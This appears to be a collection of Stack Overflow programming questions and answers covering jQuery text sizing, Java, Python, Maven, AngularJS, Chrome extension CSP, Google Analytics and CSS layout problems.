25528559	0	Resize text to totally fill container <p>I have a <code>div</code> with a fixed height and a fluid width (15% of <code>body</code> width). I want the paragraph text inside to totally fill the <code>div</code>; not overflow and not underfill.</p> <p>I've tried with jQuery to increment the text size until the height of the paragraph is equal to the height of the container <code>div</code>. At that point, the text should be totally covering the <code>div</code>. The only problem is that font-size increments in 0.5px values. You can't do 33.3px; it has to be either 33.0px or 33.5px. So at 33px, my text is far too short to cover the <code>div</code>, and at 33.5px it overflows.</p> <p>Does anyone have any ideas on how to remedy this? There are lots of plugins for making text fill the whole width of a container, but not for text that has to fill both the width and height. At least, none that I've seen.</p> <pre><code>&lt;head&gt; &lt;style type="text/css"&gt; .box { display:block; position:relative; width:15%; height:500px; background:orange; } .box p { background:rgba(0,0,0,.1); /* For clarity */ } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="box"&gt; &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. &lt;br&gt;&lt;br&gt; Suspendisse varius nibh quis urna porttitor, pharetra elementum nisl egestas. Suspendisse libero lacus, faucibus id convallis sit amet, consequat vitae odio.&lt;/p&gt; &lt;/div&gt; &lt;script type="text/javascript" src="js/jquery-1.11.1.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; function responsiveText(){ var i = 0.5; do { $(".box p").css("font-size",(i) + "px"); var textHeight = $(".box p").height(), containerHeight = $(".box").height(); i += 0.5; } while ( textHeight &lt; containerHeight ); // While the height of the paragraph block is less than the height of the container, run the do...while loop. } responsiveText(); $(window).resize(function(e) { responsiveText(); }); &lt;/script&gt; &lt;/body&gt; </code></pre> <p><img src="https://i.stack.imgur.com/BGz0d.jpg" alt="Text set at 33px. It is too short."> Text set at 33px. It is too short.</p> <p><img src="https://i.stack.imgur.com/NVyrT.jpg" alt="Text set at 33.5px. It overflows."> Text set at 33.5px. It overflows.</p>
28398167	0	 <p>It is hard to figure out exactly what you're really asking.</p> <p>Running <code>eval()</code> on user generated content (which it appears you are doing) does bring into play all sorts of security risks because it allows user generated code to be injected right into a context that it might not normally be able to get into. That is what it is and there is nothing you can do to change it. If you're going to run arbitrary user code (no matter how you do it), you will have this risk.</p> <p>What most sites that want to run arbitrary user generated code do is they fence off the user generated code in a different domain that due to the browser's cross-origin restrictions that domain that runs user generated code cannot freely access the rest of the page that is housed in some other domain and cannot freely access your main server. This gives you some protection. Look carefully at what jsFiddle does and you will see this technique being used as the user's code is served into an iframe from <code>http://fiddle.jshell.net</code> which is different than the other frames that make the site work which comes from <code>http://jsfiddle.net</code>. jsFiddle is also using some sandbox capabilities for the iframe.</p> <p>In the newest browsers you can also set up additional cross frame security restrictions with the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#attr-sandbox" rel="nofollow">sandbox capabilities</a> (newest generation browsers only).</p>
23728415	0	 <p>I was able to fix this problem by deleting my eclipse files, and other associated files. Then re-installing them. This fixed the error. I am sure there is a better way of doing this (I hope so anyway) but this will work.</p>
16076586	0	How to establish Asynchronous Process in MVC3? <p>I am using MVC3 and Entity Framework.</p> <p>In my project, I have a view and a controller. From my view I am importing 1000 records from excel to the database and that works fine.</p> <p>My requirement is, while inserting large rows of data to the database I need to indicate<br> the status of the importing rows and the % of loading completed and need to add background process( thread).. How to achieve this one? Need Help on this.</p> <p>View Code:</p> <pre><code>@using (Html.BeginForm("FImport", "Import", FormMethod.Post, new { enctype = "multipart/form-data" })) { //Here i'm Inserting 1000 of records using table &lt;input type="submit" value="Start Import" /&gt;&lt;/td&gt; } </code></pre> <p>Controller Code:</p> <pre><code>[HttpPost] public ActionResult FImport(FormCollection collection) { } </code></pre> <p>How to do that?</p>
29576337	1	Writing to file overwrites the contents <p>So when I run this code it works perfectly, but it overwrites the previous times in the <code>stopwatch_times.txt</code> so, I searched high and low but <code>couldn't</code> find out how to do it.</p> <pre><code>#!/usr/bin/python import time var_start = input("Press Enter To START The stopwatch") t0 = time.time() var_stop = input("Press Enter to STOP The stopwatch") stopwatch_time = round(time.time() - t0,2) stopwatch_time = str(stopwatch_time) file_ = open("stopwatch_times.txt") with open('stopwatch_times.txt', 'w') as file_: file_.write(stopwatch_time) print ("Stopwatch stopped - Seconds Elapsed : ",round(time.time() - t0,2)) </code></pre>
15414753	0	Shared memory between C++ and Java processes <p>My aim is to pass data from a C++ process to a Java process and then to receive a result back.</p> <p>I have achieved this via a named pipe but I would prefer to share the data rather than passing or copying it, assuming the access would be faster.</p> <p>Initially, I thought of creating a shared segment in C++ that I could write to and read with Java, but I'm not sure if this is possible via JNI, let alone safe.</p> <p>I believe it's possible in Java to allocate the memory using ByteBuffer.allocateDirect and then use GetDirectBufferAddress to access the address in C++, but if I'm correct this is for native calls within JNI and I can't get this address in my C++ process?</p> <p>Lost.</p> <p>Many thanks in advance.</p>
28779717	0	Why this Java program hangs (asynchronous html downloader)? <p>Could you please tell me why this Java program hangs ? It's a simple program to download HTML asynchronously using ExecutorCompletionService. I tried to use <code>executor.shutdown()</code> and <code>completionService.shutdown()</code> but both give <code>no such method</code>. I think the problem is with <code>executor</code> and <code>completionService</code> but can't figure out how to stop them not using their shutdown method. </p> <pre><code>import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.util.concurrent.*; class Main { public static void main(String[] args) throws Exception { Executor executor = Executors.newFixedThreadPool(2); CompletionService&lt;String&gt; completionService = new ExecutorCompletionService&lt;&gt;(executor); completionService.submit(new GetPageTask(new URL("http://xn--80adxoelo.xn--p1ai/")));//slow web site completionService.submit(new GetPageTask(new URL("http://example.com"))); Future&lt;String&gt; future = completionService.take(); System.out.println(future.get()); Future&lt;String&gt; future2 = completionService.take(); System.out.println(future2.get()); } } final class GetPageTask implements Callable&lt;String&gt; { private final URL url; GetPageTask(URL url) { this.url = url; } private String getPage() throws Exception { final BufferedReader reader = new BufferedReader(new InputStreamReader(this.url.openStream())); String str = ""; String line; while ((line = reader.readLine()) != null) { str += line + "\n"; } reader.close(); return str; } @Override public String call() throws Exception { return getPage(); } } </code></pre>
13306274	0	 <p>Call flush() before closing the FileOutputStream.</p>
1519662	0	iPod controls will exit my application <p>I would like to allow controlling the iPod on top of my application when the user double taps the home button. I know there are a few apps out there that allow this. Unfortunately my app just quits.</p> <p>Do I have to set anything to allow this behavior? Is it possible that my app prevents the iPod app from showing above it because it also plays a sound from time to time?</p>
13974013	0	 <p>I think that it isn't possible...</p> <p>I can only suggest to you something that can give you something to getting started on it.</p> <p><a href="http://stackoverflow.com/questions/4742477/jquery-on-a-big-html-with-scroll-how-to-capture-only-the-visible-part-of-the-h">Jquery, on a big HTML with scroll, how to capture only the visible part of the HTML?</a></p> <p>or you can use this plug-in:</p> <p><a href="http://larsjung.de/fracs/" rel="nofollow">jQuery.fracs</a>, see the demo: <a href="http://larsjung.de/fracs/0.11/demo/" rel="nofollow">demo</a></p> <p>Probably if you want to show a portion of HTML and get only this visible part you must think up something and probably you can't use iFrame.</p>
14729119	0	How do I use Svgeezy? (SVG fallback) <p>I'm trying to switch out the SVG images I am using to PNG on browsers that don't support them - namely IE8/7 and old versions of Android.</p> <p>After a lot of looking, I think I've found the tool for the job - <a href="https://github.com/benhowdle89/svgeezy" rel="nofollow">svgeezy</a> - The issue is, I have no idea how to use it! (I don't understand the tiny documentation given) </p> <p>I'd really appreciate it if someone could explain it to like I'm two, I ahve no idea where to begin (I'm new at this) :)</p> <p>p.s - I know there are other ways of doing it, but I was having all kinds of trouble with using the SVGs as a background, I want to avoid that way of doing it.</p> <p>Thanks :)</p>
25974367	0	 <p>Can you provide js fiddle. Actually I am not able to add a comment to your question so I have to write this as an answer.</p>
38583662	0	Database system for many read/writes per second <p>I'm going to write my project in the client-server architecture. The main part of the system will be a database storage. There will be tens of thousands read/write requests per second. The raw structure of database will be very simple and can be even simplified to the key-value pairs. I'm going to use one of the NoSql database for this purpose. I need your architectural advice if it will be suitable for such case. Now I think about Apache Couch DB or Mongo DB. What is your experience in this area? Thank you for any knowledge sharing.</p>
4386925	0	 <p>Unfortunately, we don't have the FindAncestor mode on the RelativeSource markup extension that WPF has, so you can't use that (this will be added in Silverlight 5). It's nasty, but you can give your UserControl element a name, and use ElementName binding to bind to the command on the object assigned to its DataContext.</p> <p>For example:</p> <pre><code>&lt;UserControl Name="root"&gt; </code></pre> <p>Then bind the command (using dot notation from the DataContext of the UserControl):</p> <pre><code>Command="{Binding Path=DataContext.MyCommand, ElementName=root}" </code></pre> <p>Give that a try.</p>
11077922	0	 <h3>TL;DR</h3> <p>No branch heads exist yet.</p> <h3>Detailed Explanation</h3> <p>A Git repository has no branches until you make your first commit. A newly-initialized repository sets HEAD to refs/heads/master, but refs/heads/master won't exist or contain a commit pointer until after the first commit is made.</p> <p>During a commit, Git dereferences the symbolic-ref HEAD to find the head of the current branch, and then updates that head with the commit hash supplied by git-commit-tree.</p> <p>The end result is that <code>git branch</code> has nothing to report in a new repository. With no branch heads present, it simply terminates silently with an exit status of zero.</p> <h3>See Also</h3> <ul> <li>git-branch(1)</li> <li>git-commit-tree(1)</li> <li>git-symbolic-ref(1).</li> <li>git-update-ref(1)</li> <li>gitcore-tutorial(7)</li> </ul>
3404500	0	 <p>You could find a file named as config.xml.</p> <p>It has an item to config log. </p> <p>Like: </p> <p></p> <pre><code> &lt;file-name&gt;logs/examplesServer.log&lt;/file-name&gt; &lt;rotation-type&gt;byTime&lt;/rotation-type&gt; &lt;number-of-files-limited&gt;true&lt;/number-of-files-limited&gt; &lt;file-time-span&gt;24&lt;/file-time-span&gt; &lt;rotation-time&gt;00:00&lt;/rotation-time&gt; &lt;rotate-log-on-startup&gt;true&lt;/rotate-log-on-startup&gt; &lt;logger-severity&gt;Info&lt;/logger-severity&gt; &lt;log-file-severity&gt;Debug&lt;/log-file-severity&gt; &lt;stdout-severity&gt;Notice&lt;/stdout-severity&gt; &lt;domain-log-broadcast-severity&gt;Notice&lt;/domain-log-broadcast-severity&gt; &lt;memory-buffer-severity&gt;Trace&lt;/memory-buffer-severity&gt; &lt;log4j-logging-enabled&gt;false&lt;/log4j-logging-enabled&gt; &lt;redirect-stdout-to-server-log-enabled&gt;false&lt;/redirect-stdout-to-server-log-enabled&gt; &lt;domain-log-broadcaster-buffer-size&gt;1&lt;/domain-log-broadcaster-buffer-size&gt; &lt;/log&gt; </code></pre> <p>Thanks, Joseph</p>
7865388	0	Why is path not working in Xcode 4.2? <p>I am learning to write an iOS-native webkit app. In Xcode 3.x, I have index.html distributed in Resources folder and the following code works correctly:</p> <pre><code>- (void)viewDidUnload { [super viewDidUnload]; NSString *filePath = [[NSBundle mainBundle] pathForResource:@"index" ofType:@"html"]; NSData *htmlData = [NSData dataWithContentsOfFile:filePath]; if (htmlData) { NSBundle *bundle = [NSBundle mainBundle]; NSString *path = [bundle bundlePath]; NSString *fullPath = [NSBundle pathForResource:@"index" ofType:@"html" inDirectory:path]; [webView loadRequest:[NSURLRequest requestWithURL:[NSURL fileURLWithPath:fullPath]]]; } } </code></pre> <p>The index.html is not loaded when I create a project on Xcode 4.2. I have the index.html in the "Supporting Files" folder. Have I missed something? Please help.</p> <p>Thanks</p> <p>Adrian</p>
8020388	0	How initial startup for NHibernate Profiler <p>I have a Wpf application using Nhibernate. I want to see details of sent query to database by NHibernate Profiler. For initial startup, what should I do?</p>
31329917	0	how to use facebook SDK (with feed dialog) on password protected site <p>I'm trying to create a Facebook share using the Feed Dialog with the Javascript SDK. I need this on a password protected site for clients to test. How can I get this to work? Is there a certain way I need to set up the FB App? I've tried to add the password protected URL in the the app setting for "App Domains" but it doesn't allow it.</p>
33909930	0	What is the best way to get the name of the caller class in an object? <p>I could get this working using this:</p> <pre><code>scala&gt; object LOGGER { | def warning(msg: String)(implicit className:String) = { | className | } | } defined object LOGGER scala&gt; class testing { | lazy implicit val className = this.getClass.getName | def test = LOGGER.warning("Testing") | } defined class testing scala&gt; val obj = new testing() obj: testing = testing@11fb4f69 scala&gt; obj.test res51: String = testing &lt;======= scala&gt; class testing2 { | lazy implicit val className = this.getClass.getName | def test = LOGGER.warning("Testing") | } defined class testing2 scala&gt; val obj2 = new testing2() obj2: testing2 = testing2@2ca3a203 scala&gt; obj2.test res53: String = testing2 &lt;===== </code></pre> <p>I also tried using Thread.currentThread.getStackTrace in the <code>object LOGGER</code> but couldn't get it to print the calling class <code>testing</code> in the <code>warning</code> function. Any other ways to do this?</p>
19524086	0	 <p>Try using <a href="https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#PatchByte" rel="nofollow"><code>PatchByte</code></a> (or <a href="https://www.hex-rays.com/products/ida/support/idapython_docs/idaapi-module.html#patch_byte" rel="nofollow"><code>idaapi.patch_byte</code></a>). Then you should see the correct value with <code>idaapi.get_byte</code>. There are equivalent patch functions for words, dwords, and even variable-length buffers.</p> <p>(Note that this requires you to know the exact byte encoding of the instruction you want to change)</p>
15806112	0	Getting full path from an HTTP request <p>I would like to know how can I get the full path of an HTTP request.</p> <p>If a have a request like <code>http://localhost:8080/path1/path2</code> how can I get the full <code>/path1/path2</code>?</p> <p>Using <code>request.getContextPath()</code> returns only the /path1 section.</p>
5255113	0	 <p>In the onCreate method of your activity, put in the following</p> <pre><code>getWindow().setLayout (LayoutParams.FILL_PARENT /* width */ , LayoutParams.WRAP_CONTENT /* height */); </code></pre>
28028360	0	 <p>Change your rule so that the slash and everything after it is optional:</p> <pre><code>RewriteEngine On RewriteBase / RewriteRule ^technology(?:/(.*)|)$ /view.php?cat=technology&amp;short_url=$1 [L] </code></pre>
26198745	0	 <p>The easiest way to do this is to wrap your content with a inline-block level element with max-height 100%, and, you need to set <code>height: inherit</code> on the <code>table-cell</code> elements.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>html,body { height: 100%; } .table { float:left; margin: 10px; display:table; height:500px; vertical-align:middle; background:#ccc; } .table-cell { height: inherit; vertical-align:middle; display:table-cell; } .wrapper { border: 1px dotted blue; display: inline-block; max-height: 100%; overflow: auto; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="table"&gt; &lt;div class="table-cell"&gt; &lt;div class="wrapper"&gt; some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="table"&gt; &lt;div class="table-cell"&gt; &lt;div class="wrapper"&gt; some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt;some tall content &lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
24049422	0	 <p>Your issue is likely because of the brackets on your ExternalInface call:</p> <pre><code>ExternalInterface.call("enter()"); </code></pre> <p>Use this instead:</p> <pre><code>ExternalInterface.call("enter"); </code></pre> <p>Also, make sure you're allowing script access in the swf embed code:</p> <pre><code>&lt;param name='AllowScriptAccess' value='always'/&gt; </code></pre>
16549840	0	Problems with CSP in the manifest.json file <p>the script of my first GC extension doesn't work when loaded as .crx . i've checked the debugging section and this is my error:</p> <p>Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self' <a href="https://www.lolking.net/" rel="nofollow">https://www.lolking.net/</a>". popup.html:8</p> <p>Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self' <a href="https://www.lolking.net/" rel="nofollow">https://www.lolking.net/</a>". popup.html:9 </p> <p>so i guess the error is from the manifest.json file:</p> <pre><code>{ "name": "LolKing Searcher", "version": "1.1", "manifest_version": 2, "description": "Search your LoL profile", "content_security_policy": "script-src 'self' https://www.lolking.net/; object-src 'self'", "permissions": [ "tabs", "http://*/*/" ], "content_scripts": [ { "matches": ["http://*/*/","https://*/*/"], "js": ["popup.js"] } ], "browser_action": { "default_title": "LolKing Searcher", "default_icon": "icon.png", "default_popup": "popup.html" } } </code></pre> <p>also every advice is well accepted!</p>
22349777	0	 <p>MATLAB is regularly updated with new functions, and there are also multiple toolboxes (with their own updates). So the functions you can use depends on your version of MATLAB. Unfortunately it is not easy to find out in which version of MATLAB a function first became available.</p> <p>You can use these functions to get some more information:</p> <p><code>ver</code> - to see what MATLAB version you have and which which toolboxes you have access to.</p> <p><code>which</code> - to see if a particular function is on your MATLAB path</p> <p>e.g. <code>which imguidedfilter</code> will show you if you have access to the function <code>imguidedfilter</code>.</p> <p>This particular function appears to be a very new function which you may need R2014a for (as I have R2013b and Image Processing Toolbox and don't have it).</p>
22915394	0	 <p>The relative links are returned from the get_template_directory_uri() function.</p> <p>It probably returns a string that looks like this : "/path/to/file.jpg"</p> <p>I have no experience in wordpress but making relative links isn't specifically a php thing.</p>
30033663	0	 <p>I could not get the asp:DropdownList to fire the SelectedIndexChanged event. So this is how I completed the task.</p> <p>Adding the dropdown dynamically as shown above and adding the change event that calls a javascript:</p> <pre><code> onchange='UpdateLocationList()' </code></pre> <p>This function had to be put in a .js file. This web site had a .js file already. It also had some AJAX calls that I used to complete the task. In the UpdateLocationList(), I get the ID of the service type that was set as a value attribute in the dropdown. Then I use a function that is already part of the .js file to the LocationDetails page using the Service Type ID to display only the facilities of that service type. This is the function:</p> <pre><code> function updateLocationList() { var ddlFacilityType = document.getElementById("FacilityTypeDDL"); var facilityValue = ddlFacilityType.options[ddlFacilityType.selectedIndex].value; processAjax("/editor/Locations.aspx?Location_ID=" + facilityValue, "navPanel"); } </code></pre> <p>Works like a charm. </p> <p>Thanks for all of your help.</p>
16027451	0	 <p>The simplest way to do this is to use code mentioned on <a href="http://msdn.microsoft.com/en-us/library/ms229711.aspx" rel="nofollow">this</a> link and use this in a separate thread. You don't have to worry about creating asynchronous handlers in C#. Infact you could simply take the code on the link put into a method and use this :</p> <pre><code>YourClass c = new YourClass(); Thread thread = new Thread(c.method_to_download); thread.Start(); // continue with WinForms application. /* You can also do the following */ YourClass c = new YourClass(); c.Execute(); // where YourClass is defined as : public class YourClass() { public YourClass() {} public void Execute() { // code to execute the download in a try-catch block. } } </code></pre> <p>YourClass is a custom class that you may use to perfrom the download. It can raise a simple event optionally with arguments when the download is completed from the finally block. Your calling code can accept this event via an event handler and find out the result of the download.</p> <p>This is just two of the ways you can deal with this, there are other ways such as using a Background thread or using asynchronous callbacks with FtpWebRequest class but they all achieve the same result.</p>
19993004	0	Do people ever use a variable.php file? <p>As I'm learning PHP, a lot of scripts I write end up with a lot of variables. I've gotten very used to using files such as functions.php and sessions.php in my includes folder. What about variables? Is it better to just create a bunch of variables on pages or to store them all in a single file? If not - would a better option be a constants.php file?</p>
29217222	0	 <p>This works on ios 8 - just add seconds since 00:00 1 Jan 2001, so to open cal on 2 Jan 2001</p> <pre><code>NSString* launchUrl = @"calshow:86400"; [[UIApplication sharedApplication] openURL:[NSURL URLWithString: launchUrl]]; </code></pre> <p>I'm using RubyMotion, so my code looks something like this:</p> <pre><code>url = NSURL.URLWithString("calshow:#{my_date - Time.new(2001,1,1)}") UIApplication.sharedApplication.openURL(url) </code></pre>
25482565	0	 <p>You need a <a href="https://developers.google.com/analytics/devguides/collection/analyticsjs/field-reference#name" rel="nofollow">named tracker</a>. You can set this up in the configuration object that can be passed as the third parameter instead of a cookie domain (in that case the cookieDomain setting goes into the configuration object). Plus you need two send pageview calls, one for each tracker.</p> <pre><code>&lt;script&gt; (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-XXXXXXX', { 'name' : 'mycustomtracker', 'cookieDomain' : 'customersdomain.com' }); ga('create', 'UA-YYYYYYY', 'customersdomain.com'); ga('mycustomtracker.send', 'pageview'); ga('send', 'pageview'); &lt;/script&gt; </code></pre>
1019431	0	 <p>Try setting a property in each pom to find the main project directory. </p> <p>In the parent: </p> <pre><code>&lt;properties&gt; &lt;main.basedir&gt;${project.basedir}&lt;/main.basedir&gt; &lt;/properties&gt; </code></pre> <p>In the children: </p> <pre><code>&lt;properties&gt; &lt;main.basedir&gt;${project.parent.basedir}&lt;/main.basedir&gt; &lt;/properties&gt; </code></pre> <p>In the grandchildren: </p> <pre><code>&lt;properties&gt; &lt;main.basedir&gt;${project.parent.parent.basedir}&lt;/main.basedir&gt; &lt;/properties&gt; </code></pre>
5005426	0	 <p>Here is the answer, at least partially, from <a href="http://msdn.microsoft.com/en-us/library/sbbt4032.aspx" rel="nofollow">MSDN</a>:</p> <blockquote> <p>Every enumeration type has an underlying type, which can be any integral type except char. The default underlying type of enumeration elements is int. To declare an enum of another integral type, such as byte, use a colon after the identifier followed by the type, as shown in the following example.</p> <p>Copyenum Days : byte {Sat=1, Sun, Mon, Tue, Wed, Thu, Fri}; </p> <p>The approved types for an enum are byte, sbyte, short, ushort, int, uint, long, or ulong.</p> </blockquote>
9416484	0	 <p><strong>Try with following regex:</strong></p> <pre><code>(?:^|[^\^])((?:\- *)?\d+) </code></pre> <p>Combine it with <a href="http://php.net/manual/en/function.preg-match-all.php" rel="nofollow"><code>preg_match_all</code></a> function.</p> <p><strong>Explanation:</strong></p> <p>It matches all digits</p> <pre><code>(\d+) </code></pre> <p>with optional negative sign (whitespacesbetween allowed)</p> <pre><code>(?:\- *)? </code></pre> <p>that are not followed with <code>^</code> sign</p> <pre><code>[^\^] </code></pre> <p>or are on the beggining of the string</p> <pre><code>^ </code></pre> <p>(so there is <code>^|[^\^]</code>) matched in non-captured group</p> <pre><code>(?:^|[^\^]) </code></pre>
40482409	0	 <p>I have had issues once or twice with it not skipping blanks, particularly on reports that have blanks that aren't really blank.</p> <p>To be safe I use </p> <pre><code>{=AVERAGEIF(IF(ISNUMBER(F:F),A:A)} </code></pre>
17956276	0	 <p>Just refactor the name of <code>Employee</code> class to <code>SuperEmployee</code>. Make sure you make a copy of the original <code>Employee</code> and <code>SuperEmployee</code> somewhere else.</p> <p>Then replace the refactored <code>SuperEmployee</code> with the original <code>SuperEmployee</code>. Also replace the original <code>Employee</code> back.</p> <p>To refactor, select the <code>Employee</code> type. Don't do it on the variable.</p>
21289587	0	Is there a function conditionally to concatenate cells and delete certain rows? <p>I have an Excel sheet with data arranged like this: </p> <p><img src="https://i.stack.imgur.com/CdFB4.gif" alt="SO21289587 question first example"></p> <p>For every row of column A that repeats (by necessity as the database is arranged alphabetically) I need to concatenate the number for the repeating row from column B into the cell above it (inserting, say, a comma between the two strings). Then I need to delete the repeating row to end up with the following: </p> <p><img src="https://i.stack.imgur.com/mbv4S.gif" alt="SO21289587 question second example"> </p> <p>Breaking this down:</p> <ol> <li>In column A, identify a row that is a copy of the row above it.</li> <li>Concatenate the information from column B of the repeated row into the original row, column B.</li> <li>Delete the repeated row. </li> <li>Repeat until a blank cell is encountered. </li> </ol> <p>I hope someone will advise me on the possibility of producing a function that would execute these actions. I'm looking for a push in the right direction or confirmation that it isn't possible, rather than someone to solve the issue for me.</p>
38929212	0	 <p>Unfortunately that page is quite dated and not correct for Grails 3+.</p> <p>You can find <code>BootStrap.groovy</code> under <code>grails-app/init</code>, and the settings that were specified in <code>DataSource.groovy</code> are now with the rest of the config settings in <code>application.yml</code> (or <code>application.groovy</code> if you create it).</p>
29324959	0	 <p>Ya, I think you misunderstand what <code>virtualenv</code> does:</p> <p><a href="https://virtualenv.pypa.io/en/latest/" rel="nofollow">https://virtualenv.pypa.io/en/latest/</a></p> <blockquote> <p>The basic problem being addressed is one of dependencies and versions, and indirectly permissions. Imagine you have an application that needs version 1 of LibFoo, but another application requires version 2. How can you use both these applications? If you install everything into /usr/lib/python2.7/site-packages (or whatever your platform’s standard location is), it’s easy to end up in a situation where you unintentionally upgrade an application that shouldn’t be upgraded.</p> </blockquote> <p>Your project files don't need to be (and shouldn't be) where the <code>virtualenv</code> files are. </p> <p><code>virtualenv</code> installs your app's python dependancies in a folder for the specific <code>virtualenv</code> that is being used. </p> <p>Let's say you are not using <code>virtualenv</code>, the dependencies would be installed into into the site-packages folder for your system. The dependancies aren't installed in your project directory and your project directory isn't in your system's site-packages directory. </p> <p>Using <code>virtualenv</code> doesn't change that, it just changes where the dependencies are installed.</p>
10118607	0	 <p>You can achieve this by configuring your web.config file. Please check the link below to an article, which explains at the bottom of the page, how to display different custom error pages for different HTTP error statuses.</p> <ul> <li><a href="http://www.asp.net/web-forms/tutorials/deployment/displaying-a-custom-error-page-cs">Displaying a Custom Error Page</a></li> </ul>
29318674	0	Why does Angularjs Service Return a Character Array instead of an Array of Objects? <p>I am using a service(.factory) to hold an array of objects/items which gets updated by multiple controllers and then the data is pulled back down by each controller. Each time I add a new array of data, I push it onto the array. However, when I attempt to load an array within my controller so I can display it my view, it is returning a character array which makes it impossible to use ng-repeat to iterate over the values.</p> <pre><code>// controllers.js angular.module('myapp.controllers', []) .controller('MainCtrl', function($scope, MainService) { $scope.mainItems = MainService.all(); // Why does this return a char array? // get the count $scope.getCount = function(item){ return TempOrder.getCount(item); } // add an item $scope.addItem = function(item){ TempOrder.addItem(item); return TempOrder.getCount(item); } }) .controller('SecondaryCtrl', function($scope, MainService) { $scope.items = MainService.all(); // Why does this return a char array? // get the count $scope.getCount = function(item){ return TempOrder.getCount(item); } // add an item $scope.addItem = function(item){ TempOrder.addItem(item); return TempOrder.getCount(item); } }); </code></pre> <p>This is my service </p> <pre><code>// services.js angular.module('myapp.services', []) .factory('MainService', function() { orderItems = []; return { all: function() { return orderItems; // Why does return a char array??? }, getCount: function(item){ var count = 0; for (i = 0;i&lt;orderItems.length;i++) { if (orderItems[i] === item ){ count++; } } return count; }, addItem: function(item) { orderItems.push(item); } } }); </code></pre>
7165887	0	 <p>3 extra strings for every item</p> <ul> <li><code>part[0];</code></li> <li><code>part[1];</code></li> <li><code>part[1] + " "</code></li> </ul> <p>the least allocations possible would be to avoid all the temporary allocations completely, but the usual micro-optimization caveats apply.</p> <pre><code>var start = part.IndexOf(':') + 1; stringbuilder.Append(part, start, part.Length-start).Append(' '); </code></pre>
34464148	0	Parse Facebook Utils - Cannot resolve Parse <p>According to Facebook: Parse tutorials <strong>4th Point</strong> <a href="https://www.parse.com/docs/android/guide#users-facebook-users" rel="nofollow">https://www.parse.com/docs/android/guide#users-facebook-users</a></p> <p>I followed it and removed the dependency com.parse:parse-android:1.10.3.</p> <p>There is nothing in the libs folder as well. But all the code of using Parse library is now red giving an error - <strong>Cannot resolve parse</strong></p> <p>I am unable to understand, if the tutorials are incorrect ?</p>
36865325	0	 <p>Ok then the correct source code is </p> <pre><code>program operateur implicit none CHARACTER(LEN=1) :: oper real::a,b,res print*,'Give the first number a :' read*,a print*,'Give the second number b :' read*,b print*,'which operation ?' read (*,"(A1)") oper select case (oper) case ('+') res=a+b case ('-') res=a-b case ('*') res=a*b case ('/') res=a/b case default print*, "Invalid Operator, thanks" end select print*,'the result is ',res end program operateur </code></pre>
23711968	0	Google map cut inside bootstrap modal <p>This problem is bugging me for few days now. I almost gave up when yesterday I accidentally discovered something. I'm using Google map inside bootstrap modal. Problem is when I call modal, map is cut in half and I can pan and zoom it in the half of div, but strange thing is that when I turn on inspector(in any browser) entire map is shown right away and everything works like it should. Anyone had similar problem?</p> <p>On calling modal:</p> <p><img src="https://i.stack.imgur.com/kbCgW.png" alt="enter image description here"></p> <p>After calling inspector:</p> <p><img src="https://i.stack.imgur.com/JY2e7.png" alt="enter image description here"></p>
18665378	0	 <p>Why should this not be acceptable? It should, however, be clearly documented. If you look at the .net class libraries or the JDK, there are collection interfaces defining methods to add or delete items, but there are unmodifiable classes implementing these interfaces. It is a good idea in this case - as you did - to provide a method to query the object if it has some capabilities, as this helps you avoid exceptions in the case that the method is not appropriate.</p> <p>OTOH, if this is an API, it might be more appropriate to use an <code>interface</code> than a <code>class</code>.</p>
